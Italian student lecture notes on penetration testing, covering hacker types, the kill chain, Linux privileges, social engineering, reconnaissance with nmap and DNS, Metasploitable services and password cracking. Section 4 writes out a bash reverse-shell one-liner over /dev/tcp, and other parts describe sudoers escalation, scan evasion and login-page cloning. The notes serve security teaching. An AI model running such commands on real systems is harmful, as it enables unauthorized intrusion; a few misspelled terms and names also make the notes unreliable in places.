Contents

1 Cos'è l'hacking

Bisogna innanzitutto fare distinzione fra DDoS ed Hacking:

- DDoS nega un servizio ad una qualche società/compagna, esaurendone le risorse. Il modo più gettonato è eseguire un elevato numero di connessioni verso i server che offrono i servizi, in modo da interrompere il servizio. Questo non è però hacking, non ha tecniche interessanti da sfruttare
- Hacking: tecniche per ottenere accesso non autorizzato ala macchina (ma in realtà servirà) con lo scopo finale di proteggere la macchina su cui abbiamo ottenuto l'accesso.
  Accedo come utente root, riporto i passi che mi hanno permesso di accedervi per far si che il cliente che ha richiesto il test possa sistemare la sicurezza

Come possono due entità comunicare in modo sicuro, in modo che ci sia integrità e confidenzialità? Si introducono appositi protocolli e tecniche crittografiche etc... in modo da rendere la sicurezza sicura. Uso TLS e mi sento abbastanza sicuro, in teoria: chi però implementa il protocollo in software può introdurre delle funzionalità nuove che si pensa siano innocue ma poi sono devastanti.
esempio: ricorda l'hearthbleed di openSSL, la funzionalità aggiunta era la possibilità di hearthbeat per TLS/DTLS. Vulnerabilità affligge tutti i dispositivi che utilizzano la libreria, era possibile leggere tutti i dati all'interno del dispositivo: password, cookies, etc... Non era un malware, ma una vulnerabilità derivante da ciò che si pensava essere una funzionalità. In cosa consisteva la vulnerabilità: buffer overflow, invia più caratteri di quelli necessari andando a pescare contenuti di aree di memoria adiacenti.
Take home message: tutte le vulnerabilità derivano dal fatto che

l'utente può inserire delle informazioni in un sistema informatico che possono:

- avere valore sbagliato
- avere dimensione sbagliata
- input può essere da utente autorizzato ma malevolo
- input da utente non autorizzato, sia malevolo che non

Problema è che input di utenti in generale vanno sempre validati in forma e contenuto, le funzioni di sicurezza non devono mai basarsi su input non validato. Questa cosa va fatta nelle sezioni più critiche del sistema: se server avesse controllato la lunghezza della parola data con quella fornita dall'utente, non ci sarebbe stato problema.
In linea di principio è complicato avere tutto sott'occhio, specialmente perché le configurazioni sono fatte da persone. La teoria non è uguale al mondo reale: un protocollo che in teoria funziona bene, può essere implementato male.

1.1 Hacker vs penetration testers

C'è una delineazione molto chiara e generale su quelle che sono le figure, con annessa legalità/illegalità. "Cappelli": figura che si è sviluppata negli anni:

- script kiddies: prendono programmi dalla rete e li utilizzano per attaccare le reti per "farsi un nome"
- attivisti: motivati da scopi politici o religiosi che effettuano attacchi informatici con questi scopi
- white hat hackers: i "buoni", operavano comunque nell'illegalità. Esperti di sicurezza, il cui scopo era di dimostrare vulnerabilità di sistemi affinché queste venissero fixate.
- black hat hackers: operano nell'illegalità al fine di ottenere accesso non autorizzato per interessi personali: ottenere un nome

nella comunità, soldi, vendetta, cerare bot-net etc... Ne fanno parte:

- gruppi sponsorizzati dallo stato
- terroristi
- spie

Tutto ciò visto fin ora opera nell'illegalità, i penetration tester invece no: il pentester ha l'autorizzazione da parte del cliente, mentre l'hacker no. Lo scopo dei pentester è quello di aumentare la consapevolezza in ambito di sicurezza, ottenendo anche permessi per fare test.
Non esistevano questi confini legali, ad esempio nel caso dei white hat, se qualcuno trova una vulnerabilità in un'azienda è come dirglielo: potrebbe farci causa, ignorarla etc... C'è sempre stata un "area grigia", oggi si è quasi arrivati ad un punto fisso che è quello dei bug bounties: viene dato premio in denaro dall'azienda a chi trova la vulnerabilità. Vengono dati dei limiti entro cui poter agire, se si trova la vulnerabilità si ottiene un premio in denaro.

2 Fasi di un penetration test

Lo scopo sarà quello di effettuare un penetration test su un sistema. Il test andrà strutturato, ci sono delle fasi prestabilite, lo scopo del test è ottenere accesso come utente con i permessi più elevati nel sistema. Il test potrebbe essere automatizzato, oppure essere fatto a mano: alcuni tool rendono veloci degli steps, ma altri step vanno fatti a mano (occorre pensare in modo creativo). 4 macro-step:

- gathering information
- identificare possibili entry point
- tentativo di accesso
- report di ciò che è stato trovato

Il vulnerability assessment può essere automatizzato, ci sono dei tool che permettono di farlo ma può essere molto poco affidabile e produce alto rate di falsi positivi: non c'è la certezza che il sistema sia vulnerabile ad una certa vulnerabilità.
Invece, il penetration test ha un'accuratezza molto alta e produce un risultato binario: successo o insuccesso, quindi o il sistema non è sicuro o potrebbe essere sicuro.
Gli ambiti del penetration test sono vari:

- target recon: sfruttare software vulnerabile
- social engineering: sfruttare interazione con le persone per ottenere informazioni riservate
- physical facilities adult
- ...

Un penetration test può portare a risultati che un semplice vulenaribility assessment non può, l'azienda può sistemare tutte le vulnerabilità trovate (anche in termini di persone). Nel test è fornita l'autorizzazione, ma nel contratto stipulato con l'azienda poterebbe essere possibile non accedere a determinate parti del sistema. Nel caso di un attacco hacker, le fasi sono le stesse del pentest ma in più ci sono fasi di mantenimento di acceso (dopo averlo ottenuto) e di copertura tracce.

2.1 The killchain model: APT

Il modello che si usa nel caso di un attacco informatico. Le fasi sono di più, ma ognuna è mappabile su quelle viste nel pentest:

- reconnaissance: information gathering
- weaponization: cerco arma con cui ottenere l'accesso
- delivery: mando payload malevolo per accedere
- exploitation: fase in cui si esegue un exploit

- installation: per mantenere l'accesso, posso installare malware sul PC per raccogliere informazioni nel tempo
- command and control: l'attaccante installa un agent, che comunica con un mio server per riceve comandi al fine di ottenere controllo della macchina. È l'agent che manda pacchetti verso il server e non il viceversa
- exfiltration: esporto informazioni utili dalla macchina

3 Hunder the hood of applications

Cosa accade "dietro le quinte" quando provo ad accedere ad una qualche applicazione che sta nel web: ho il mio client ed il server, di mezzo l'Internet.
Supponiamo di considerare un'applicazione web: per accedere ad un sito web si usa nella maggior parte dei casi uno URL per indicare la risorsa del web a cui accedere.
HTTP: protocollo costituito da messaggi human-readable, è possibile ispezionare i pacchetti di rete che vanno dal mio client verso il server e viceversa.
Lo stesso vale per SMTP e come per HTTP di default non è inclusa alcuna autenticazione (oggi è possibile configurare server SMTP per rifiutare e-mail non autenticate), ma è possibile trovar e alcuni server in cui è possibile mandare e-mail nascondendo il mittente.
telnet: software che permette il collegamento con un server e l'invio di messaggi, ad esempio posso richiedere una pagina web (vedo il sorgente).
Quello che accadeva qualche tempo fa era la possibilità di mandare mail senza specificare il mittente (no auth).

4 Linux overview - privilegi e comandi

Permessi ad ogni file o directory di Linux è associato un utente proprietario che avrà determinati privilegi di lettura, scrittura ed esecuzione su questo file, inoltre ci saranno dei privilegi per il gruppo e per gli others.
I permessi vengono visti come dei bit ed è possibile cambiarli con il comando chmod:

- convertendo i bit in base 10 (101 = 4 0 2) e facendo la somma, si ottiene un valore che è possibile assegnare a user, group ed others (ad esempio chmod 666 <file>)
- usando i flag "ugo" (user, group, owner), con il "+" o "-" a seconda se si vuole aggiungere o togliere il privilegio, ed il privilegi/o (rwe ad esempio)

Sudoers la lista degli utenti nel sistema si trova nel file /ect/passwd e con il comando id <utente> è possibile avere informazioni ulteriori sullo specifico utente.
Con il comando su è possibile effettuare il log in con un altro utente, ed è anche possibile entrare come root. *L'utente di root è pericolosissimo*: può eseguire qualsiasi comando senza richiedere password e senza ottenere warning. Con il comando sudo è possibile impersonare altri utenti, utilizzando la password dell'utente corrente, la configurazione del programma è nel file /etc/sudoers, che se mail configurato può portare ad avere gravi vulnerabilità: avendo ad esempio un utente generico con configurazione ALL=(root) NOPASSWD /bin/cat * è possibile per l'utente eseguire il programma cat seguito da qualsiasi altra cosa, in quando la wildcard "*" può essere sostituita con qualsiasi altra stringa, senza necessità di password e come utente root.

SETUID/SETGID i due flag SETUID/SETGID, se impostati, permettono di cambiare l'esecuzione di un file, e quindi del relativo processo che viene creato, rispettivamente all'utente proprietario del file o al gruppo. Questo cambio di associazione può avvenire senza necessità di password, quindi anche qui è possibile avere gravi conseguenze nel caso in cui il processo fosse vulnerabile (ad esempio ad attacchi di tipo hearthbleed / stack o heap overflow). Per poter settare i bit, è necessario settare il bit s con chmod, in questo modo sarà possibile cambiare il proprietario o il gruppo del processo (perché non funziona di default). Per poter scoprire quali file permettono di cercare file con bit attivi, mediante il comando find + flags.

Mount comando per montare/smontare partizioni e vedere le partizioni disponibili. Su Linux qualunque cosa è un file, per vedere quali sono le partizioni si può controllare il file /etc/fstab, contiene le partizioni da montare di default. Utilità nel pentest: riesco ad ottenere l'accesso ad una macchina terza, per fare l'enumeration una volta avuto l'accesso nella macchina, ossia per poter ottenere più possibili informazioni sulla macchina, col mount possiamo avere informazione sui vari dischi, su cui poi andare a cercare i file.

Compression il formato comune è .tar, l'obietto nel pentest è quello di dare la possibilità di raccogliere le informazioni insieme in modo da poterli portare sulla propria macchina per analizzarli. È possibile passare alcuni flag, la cartella in cui comprimere e cosa andare a comprimere.
/usr/share/wordlists contiene un tar.gz chiamato rockyou, che contiene circa 15M di password risultate da un dataleak.

Processes la lista dei processi è visibile a tutti gli utenti[1], con ps otteniamo una tabella in cui abbiamo diverse informazioni utili

[1] anche i non privilegiati

Cron ogni Sistema Operativo è dotato di un job scheduler gestito dall'utente, i comandi o processi di cron vengono schedulati dal sistema in base a determinate impostazioni, definite in file appositi, il file principale è /etc/crontab: è editabile solo da root, ma leggibile da tutti gli utenti del sistema. È utile in quanto spesso, in caso di pentesting o CTF, potremmo ritrovarci nel caso in cui gli admin hanno messo degli specifici comandi nel crontab, in modo da poterli sfruttare.

SSH usando coppia di pub/pr key (RSA) può essere possibile sfruttare delle mal configurazioni per poter ottenere la chiave privata, nel caso in cui non sia stata salvata correttamente. SSH è un tool molto versatile, che permettono oltre che amministrare un server, usare la macchina target per fare molte altre cose.

Reverse shell se prendiamo una reverse shell, potrebbe non funzionare con /bin/bash -i>&/dev/tcp/ip/port 0>&1, è possibile mettere /bin/bash in un altro: /bin/bash -c "/bin/bash -i >&/dev/tcp/ip/port 0>&1"

5 Social engineering

Tattica molto utilizzata in ambito reale, è la metodologia che offre il rate più alto di successo in un pentest. In generale, è l'arte di manipolare le persone per fargli fare azioni che rivelano o divulgano informazioni. Un esempio, che non riguarda l'hacking, era quello di andare al Mc drive per ottenere ordini senza pagare.
Esempi reali: campagna di phishing, iniziata dal governo Nord koreano. L'attacco era incentrato sul creare account fake su social network, in cui venivano pubblicati articoli sulla sicurezza informatica, semplicemente collegandosi al sito dei fake researchers riuscivano ad ottenere una shell sul PC delle vittime (sfruttato uno 0 day di Google Chrome). Un altro modo era quello di condividere un progetto di Visual Studio: erano inclusi gli script di compilazione ed esecuzione, in

cui c'erano delle reverse shell. La tecnica è molto attuale e raccoglie e cattura molte persone, anche ricercatori di sicurezza informatica.
È necessaria l'autorizzazione per effettuare questo tipo di attività, le tattiche si dividono in due insieme:

- remote: non c'è contatto fisico con la vittima, ad esempio una chiamata, una e-mail di phishing
- fisiche: contatto diretto con la vittima

Esempi: sito fake, mail fake che è possibile collegare ad un sito web fake. Una delle tattiche più usate è la patch: si dice che il SO non è aggiornato/non sicuro e si chiede di scaricare la patch (che ovviamente è un virus).
Nella mail è sia possibile usare la tecnica della patch, sia quella del sito fake o anche l'inclusione di un allegato malevolo. Un altra consiste nel comprare un dominio, creare un sotto-dominio noto (poste.it) per fregare quelli poco attenti. Come scoprire una fake mail: nei primi mail server da cui passa l'email, il server deve avere lo stesso dominio del mittente, altrimenti l'invio non è autenticato.
Per far si che una fake mail riceva risposta ad un indirizzo diverso dal mittente (che sarà un indirizzo vero) è possibile configurare il campo *reply To*: si inserisce la mail su cui si vuole la risposta[2] (ad un occhio poco attento, non fa differenza)
Prima delle rubber ducky, si usavano chiavette usb con dentro file malevoli (in estensioni note come word o excel), da un nome "appetibile".

SET: Social Engineering Toolkit presente su kali, facilita attacchi di social engineering, permette di fare clone della pagina di login di un sito web in modo che le credenziali vengano spedite su un server web di nostra scelta.
Nel social engineering fisico, si cerca di ottenere accesso fisico: molto

[2]passando sul nome, si vede che l'indirizzo non è quello originale

pericoloso, è possibile trovare prese/dispositivi sbloccati etc... Vengono usate diverse tattiche:

- nuovo dipendente
- dipendente di un'azienda di cui il target è il cliente

diversi tool per poter clonare badge (che spesso funzionano con NFC) etc...

6 Reconnaisance

La prima fase di un pentest è al raccolta di informazioni, fase che è fra le più lunghe: non ci si può sbagliare, una volta trovato il punto di accesso o lo buchi on non lo buchi.
Abbiamo un target, dove il target può essere una o più macchine, un'applicazione web o un'azienda vera e propria. Occorre raccogliere la maggior parte delle informazioni, ci sono due categorie di raccolta di informazioni:

- attiva
- passiva

6.1 Raccolta passiva

Non c'è mai contatto diretto con la vittima, anche ad esempio visitare il sito web (c'è scambio di pacchetti, quindi è un contatto). Si intende quindi la ricerca via browser web etc..., quindi la ricerca di informazioni che sono di pubblico dominio, anche detto OSINT. Anche solo tramite l'OSINT si riescono a trovare una grande quantità di informazioni.

6.1.1 Google Dorking

Meccanismo di funzionamento con cui è possibile fare delle query molto precise, senza violare nulla. È possibile restringere la ricerca

solo nell'URL o nel testo, anche unire più filtri, il funzionamento è nome_filtro:valore.

6.1.2 Online platforms

Altri motori di ricerca che permettono di fare ricerche più mirate,come Wayback machine, che permettono di ritrovare versioni vecchie del sito, che da informazioni che sono state poi cancellate. Un altro sito interessante è pastebin, usato per sharare velocemente file di testo, spesso le persone lo usano pensando che sia privato.
C'è poi Shodan, che è un motore di ricerca per dispositivi connessi ad Internet, che permette di cercare **qualsiasi dispositivo connesso ad Internet**, ci sono dispositivi divisi per marca, ma anche per cui c'è il match con una nuova vulnerabilità.
Anche sui social network è possibile trovare svariate informazioni, in base ai filtri usati.

6.1.3 Whois

Tool a cui passiamo un dominio, che restituisce molte informazioni utili fra cui:

- proprietario di dominio
- amministratore
- contatto tecnico
- nameservers: l'informazione più utile, in quanto possiamo sfruttare il DNS per raccogliere ulteriori informazioni sul target. Vengono restituiti i server DNS responsabili per il dominio

spesso, se riusciamo ad ottenere il nome della persona, sappiamo l'username della persona stessa.

6.1.4 Recon NG

Framework per fare raccolta informazioni sul web, è diviso in moduli. È possibile usarlo per interagire con API di Google, Facebook etc...

6.2 Raccolta attiva

Map dell'infrastruttura di rete target, cercando servizi, vulnerabilità, informazioni che dovrebbero essere riservate etc... effettuando un contatto diretto col target. È questa la fase in cui si raccolgono davvero informazioni importanti.

6.2.1 DNS

L'informazione più importante che restituisce il whois sono i nameservers, possiamo usare DNS per cercare altre informazioni. Si parte dal root, seguono i TLD, poi i server di secondo livello e poi le foglie. L'organizzazione ad albero non permette di avere duplicati, l'albero viene diviso in zone: ad esempio, tutti i sotto-dominii di uniroma2 sono la zona di uniroma2, le zone possono essere gestite da un particolare server DNS.
Nel DNS, oltre a client e server c'è anche il resolver, che accetta le richieste dai client e le manda ai server. È il componente che fa si che le zone vengano gestite correttamente, permette inoltre di fare 2 tipi di richieste:

- ricorsive: il server risponde sempre
- iterative: il server risponde con quale server va contattato per conoscere la risposta

Il DNS gestisce vari record, tra cui i più interessanti sono

- i record NS, che forniscono i nameserver per un dominio
- MX, che contiene i nomi dei server mail
- CNAME, occorre per gli alias

- TXT, contiene informazioni human readable

Per interagire con il DNS è possibile usare il comando dig. Per poter enumerare gli host all'interno di un dominio occorre fare forward lookup bruteforce, il contrario è reverse lookup bruteforce, con cui conoscendo un IP di partenza, è possibile (tramite i record PTR se configurati) trovare alcuni domain name mancanti.
C'è un tipo di attacco, che si chiama zone transfer: siccome il DNS è distribuito e quindi ci sono dei server responsabili per una zona, è possibile trasferire i dati per una zona. Con questo procedimento, il NS master invia una copia al NS slave, nell'attacco fingiamo di essere un server slave e chiediamo una copia della zona, se il server è configurato male la otteniamo. Se riusciamo, l'informazione che otteniamo è la lista di tutti gli host della zona. Si può fare con il comando dig:

- trovare il nameserver
- effettuare dig axsf per far trasferire la copia della zona.

DNSRecon permette di automatizzare il reverse lookup, passando in input un range di indirizzi ip <startIp, endIP>, è possibile automatizzare anche il forward lookup.

6.3 Enumeration

Abbiamo una probabile lista di host, (nomi ed IP) che possiamo considerare come una probabile lista di punti di accesso. Una volta che abbiamo a disposizione un host (ci concentriamo su una macchina particolare), se sulla macchina c'è un server web allora ci sarà aperta la porta 80. Possiamo quindi interagire col server web che è in esecuzione sulla macchina, ma questa interazione è applicabile su tutte le macchine. La porta aperta lato server è sempre la stessa, una volta che il servizio è in esecuzione, mentre per il client viene scelta randomicamente dal kernel. Inoltre, per i servizi standard sono state documentate e raccomandate alcune porte (ad esempio la porta 80

per HTTP). Dobbiamo ancora raccogliere informazioni, siamo nella fase di raccolta attiva, per mappare un infrastruttura di rete è necessario scambiare pacchetti.

6.3.1 Scansione di porte - nmap

È un operazione effettuata anche dagli amministratori di rete, per vari motivi. L'utilità è sia lato attaccante che lato difensore, per effettuare la scansione tutti i tool devono usare TCP o UDP, spesso ci si concentra sulle scansioni TCP ma **NON DIMENTICARSI DI UDP:**può capitare di avere un servizio aperto su UDP che contiene informazioni importanti.
Nmap: standard del port scanning, molto robusto. Offre un risultato per una porta di 3 tipi:

- aperta: si completa una connessione TCP
- chiusa: riceviamo un pacchetto di RST
- filtrata: uno stato che viene assegnato quando il pacchetto inviato non riceve risposta

se non specifichiamo le porte su cui effettuare la scansione, nmap userà le 1000 porte più popolari. Nmap permette di specificare alcune opzioni, ad esempio il flag -S permette di spoofare il proprio indirizzo (ma per ricevere le risposte? Te la pii nder culo), l'opzione -D invece permette di specificare una lista di IP, ne verrà preso uno a cui inviare la risposta. In questo modo vengono ricevute le risposte ed è più difficile capire l'IP che effettua la scansione

Basic firewall evasion nmap cerca di capire se l'host è attivo oppure no, quindi per default manda un pacchetto di ping. Se l'host non risponde, per nmap è down e quindi non inizia la scansione delle porte. Magari sappiamo che non risponde per un motivo particolare, ad esempio se vengono bloccati i pacchetti di tipo ping da un firewall o dall'host stesso, è possibile specificarlo ad nmap col flag -P0.

Gathering version info per alcune porte è stato standardizzato il servizio per quella porta, ma non è vietato associare il servizio che si preferisce. Quindi, per conoscere il vero servizio e la versione del servizio dietro una porta, in quanto è utile per cercare vulnerabilità per la specifica versione. C'è il flag -sV che fa questo.
Di default, nmap esegue tutto l'handshake a 3 vie per connessioni TCP, questo da un punto di vista di monitoring può allertare, visto che è un grande traffico in poco tempo. Inoltre, quando viene effettuata una connessione, questa viene scritta sul log ed infine se la connessione viene instaurata ci sono le risorse allocate dal kernel nella RAM del server. Per questo, è meglio fare una scansione di tipo syn: se il server risponde syn ack, nmap manda un pacchetto di rst; se non risponde, la connessione è considerata chiusa. L'enorme vantaggio è che nei log del server non comparirà la connessione (in quanto non è mai stata creata), inoltre l'impatto sul traffico generato è molto ridotta e non vengono sprecate risorse sul server.

Scansioni stealth utile in quanto non si appare nel log dell'applicazione, da informazioni in più sul server, in quanto in caso di Windows la scansione stealth restituisce l'informazione che tutte le porte sono chiuse.

Se con nmap si prova a pingare una macchina in una sotto-rete diversa, è possibile effettuare una scansione di tipo ping: nmap, oltre ad effettuare il ping, manda anche un pacchetto TCP sulla porta 80 e se l'host è attivo risponderà con RST.
L'opzione di scan con l'ACK non restituirà mai una porta aperta, può solo dire se è filtrata o meno, È molto utile per scoprire se il pacchetto attraversa il firewall o IDS, in quanto ACK è un meccanismo di TCP (a differenza del SYN che instaura una connessione) e quindi un meccanismo poco sofisticato può farlo passare.

OS fingerprint nmap può scoprire il SO dell'host target. Vulnerabilità di Windows: ransomware "Wannacry" di tipo 0-interaction, ovvero una volta scoperto che il SO era Windows, si lanciava l'exploit ed avevamo una shell sulla macchina target. Quindi conoscere il SO è molto importante, anche da un punto di vista difensivo per poter documentare i SO degli host.
nmap ha due modi di scansione:

- attiva: manda diversi pacchetti, è più affidabile della passiva e più veloce
- passiva: monitoring del traffico, cerca pattern caratteristici dei SO

È prima necessario effettuare la scansione di alcune porte, restituisce diverse informazioni sulla versione del SO.

Per l'utilizzo, prima scansionare tutte le porte (salvando magari l'output su file), per poi partire con ricerche a grana più fine sulle singole porte trovate.

Ci sono alcuni script di nmap che sono più aggressivi, quelli che fanno parte della categoria default sono i meno aggressivi e che vengono lanciati in automatico con il flag -A o -sC. Per poter rientrare nella categoria default, lo script deve avere diverse caratteristiche. È possibile specificare quali script usare mediante gli operatori and or not etc..., basta passare come stringa, ad esempio "default and safe" ed inoltre è possibile passare parametri agli script.
nmap ha degli script già pronti per alcune categorie, si possono usare in molti casi e riportano come informazione se il target è o meno vulnerabile.

6.3.2 SMTP enumeration

Per inviare e-mail in modo anonimo basta collegarsi ad un server SMTP che non gestisce autenticazione o autorizzazione. È possibile

scrivere uno script nmap per fare questo controllo, quindi si prova ad inviare una e-mail (creando tutti i pacchetti del protocollo) per vedere se il server è vulnerabile o no.
SMTP di default non forza l'autenticazione, ma è possibile forzarla ed in particolare di autenticarsi come un possibile utente. SMTP chiederà la password se l'utente esiste, oppure chiederà una password. Immaginiamo di prendere una lista di utenti con SMTP, possiamo raccogliere questa una serie di informazioni per quel server.

7 Weaponization

Dopo la raccolta informazioni, ne cerchiamo di ulteriori per poter ottenere l'accesso. Avviene solo lato attacker: c'è l'exploit, così come anche il modo per sfruttarlo, ma non è ancora stato lanciato (avverrà nella fase successiva). Si parte dal servizio, che può essere mal configurato

7.1 Samba - SMB

Protocollo usato da Windows e Linux, permette lo scambio di cartelle e file, è abilitato di default su Windows. Negli anni è risultato molto vulnerabile, affliggeva tutte le versioni di Win fino ad XP, ma anche le successive se configurato male. Di default ascolta su porte 139 e 445 (TCP), una volta capito che su una macchina c'è Samba, si possono effettuare diversi tool per cercare le mal configurazioni, tutti si dividono in 2 categorie:

- tool che fanno la scansione di server Samba (come Enum4Linux)
- tool che si comportano come client Samba

un altro modo è quello di usare script nmap (iniziano sempre col nome del protocollo).

8 Vulenariblity assessment and penetartion testing

8.1 Metasploitable

Metasploitable è una macchina virtuale Linux che presenta svariarti servizi volutamente vulnerabili (mal configurati etc) per esercitarsi. **ATTENZIONE:** è consigliato installare Metasploitable come VM con interfaccia host only e non bridged, in quanto altrimenti viene vista come una macchina nella rete (col relativo IP) e può essere usato da altri nella sotto-rete privata per accedere alla macchina host.

NFS protocollo per poter condividere file e cartelle in una rete, tra client e server. Se mal configurato, è possibile che un client acceda ad una cartella, montarla sul proprio file system e poter scrivere/leggere file. Di default, l'utente fornito da NFS è con pochi privilegi, ma c'è un opzione che fa si che una volta montato la cartella, non avviene l'impersonificazione come utente *nobody*, bensì come utente con il quale è stato eseguito l'accesso dalla macchina, quindi è possibile leggere/scrivere come root.

FTP vulnerabilità sulla porta 21, associata ad una particolare versione: era stata aggiunta una backdoor alla compilazione del server FTP

È importante verificare il digest dell'hash associato ai file, in modo da avere una certezza sul fatto che il file scaricato è quello corretto.

8.2 Classificazione delle vulnerabilità

Tutte le vulnerabilità sono state classificate: ognuna ha un numero univoco che la identifica, il CVE[3]. Con il CVE è possibile ricercare le vulnerabilità per un particolare programma.

[3]Common Vulnerability Enumeration

CWE Common Weakness Enumeration, che raggruppa le vulnerabilità in base alla debolezza. Questo è utile nella compilazione del report per andare a specificare il tipo di vulnerabilità. C'è anche un ranking delle CWE, stilata annualmente in base alle CWE trovate ed agli attacchi messi in atto. Può essere utile testare le vulnerabilità sul software proprio, per verificare che non siano presenti

Attack patterns (Common Attack Patterns Enumeration and Classification) È un dizionario che spiega, dato un attacco, come effettuarlo e come mitigarlo e risolverlo. Il CAPEC è un codice associato all'attacco, che permette di cercarlo, ma le stesse informazioni possono essere trovate in rete.

Per la ricerca della CVE, è possibile consultare diversi siti con DB di CVE, in cui è possibile effettuare ricerche in base a vari parametri. Una volta ottenuta la CVE, occorre trovare l'exploit per il CVE; siccome il DB è gestito dall'azienda di kali, è presente anche in kali stesso offline.

8.3 OpenVAS

Tool open source più usato per vulnerability assessment, specificando un host name su cui fare l'assessment. OpenVAS, oltre a verificare se sono presenti i CVE, fa anche altro in automatico ed è una cosa che solitamente si fa in un pen-test, in quanto questo permette di sfruttare, a partire dal report ottenuto, le possibili vulnerabilità.

9 Sicurezza di password

Metodo di autenticazione più utilizzato per l'accesso a dei servizi, è importante il tema della sicurezza delle password. Sono molto frequenti i data breach nel web, che consentono a vari gruppi di rivendere o di divulgare password o hash di password trovate nei data

breach. Le password vengono usate per l'autenticazione, ovvero una prova del fatto che sono chi dico di essere (relativamente ad uno username), il segreto è conosciuto solo da me e dal servizio presso cui mi autentico. Il problema sta nel protocollo usato per l'autenticazione: se qualcuno si mette in mezzo, può leggere cosa scambio nel web, ma questo può essere risolto usando protocolli appositi come TLS. L'altro problema è come memorizzare le password, sia lato client che lato server: quando un utente si registra, un server memorizza un identificativo per l'utente, lo username e la password. Ci sono diversi problemi:

- il servizio può essere compromesso, quindi le informazioni saranno in chiaro. Una volta entrato in possesso della password in chiaro della password, è probabile che questa sia stata riusata per altri servizi (magari con leggeri cambiamenti)
- le password generate dagli utenti sono deboli

se la password è molto corta (< 16 caratteri) diventa possibile un brute force attack, inoltre di solito l'entropia è bassa.
La soluzione per salvare una password prevede l'utilizzo di funzioni di hash. Oltre alle funzioni hash è possibile aggiungere del "salt" alle password, quindi l'hash sarà fatto sulla password unita a del salt.

Password in Linux le password vengono cifrate nel file /etc/shadow, utilizza il salt oltre che alla password, usando come algoritmo SHA-512. Quando si aggiunge un nuovo utente, sia nel passwd che nello shadow la password e lo username in passwd. Qualsiasi sistema che abbia necessità di memorizzare delle password utilizza salt.

9.1 John The Ripper

Dopo aver ottenuto le hash della password, non è possibile risalire alla stringa che ha generato il digest: dictonary attack, in cui creo un dizionario di password e ne faccio l'hash. Se trovo una corrispondenza, ho "trovato" la password (o magari una collisione). È la

tecnica che viene usata spesso, può costare molto ma essendo off-line non ci sono restrizioni.
John the Ripper è un tool che permette di crackare in diverse modalità le varie hash di password che possono servire. Inizialmente, è stato pensato per andare a testare la sicurezza della password (ad esempio per un sys admin), permette di utilizzare diverse modalità. Funziona su diverse piattaforme, la più interessante è quella CUDA (per il calcolo parallelo). Permette diversi modi di esecuzione:

- wordlist: prende in input la lista di hash da crackare, una lista di parole o informazioni relative all'utente per risalire alla password utente
- modalità single: in base ad informazioni dell'utente si cerca di crackare
- incrementale: modalità brute-force, può essere fattibile se fatto offline

tutte le modalità sono definite nel file john.conf

Creazione del dizionario per creare il dizionario da usare ci sono diverse possibilità:

- wordlist già esistenti (ad esempio su GitHub)
- cercare informazioni dell'utente targettato o del gruppo di utenti targettati
- ...

John the Ripper cerca di trovare la password o qualcosa di relativo alla password: spesso, partendo da una password si cerca di variarla in qualche modo (ad esempio con lettere, numeri al posto di vocali etc). È possibile quindi costruire dei pattern a partire da una parola (ad esempio "casa") in modo da ampliare il dizionario ed aumentare la percentuale di casi in cui si cracka la password. È anche possibile entrare in possesso dell'hash della password di una rete wireless: ci

si mette vicino alla rete, si fa un dump dei pacchetti scambiati con il router da un utente e si ricava l'hash della password.

Hashcat "alter ego" di John teh Ripper, più funzionale per il cracking di hash utilizzando le GPU, permette di specificare delle maschere.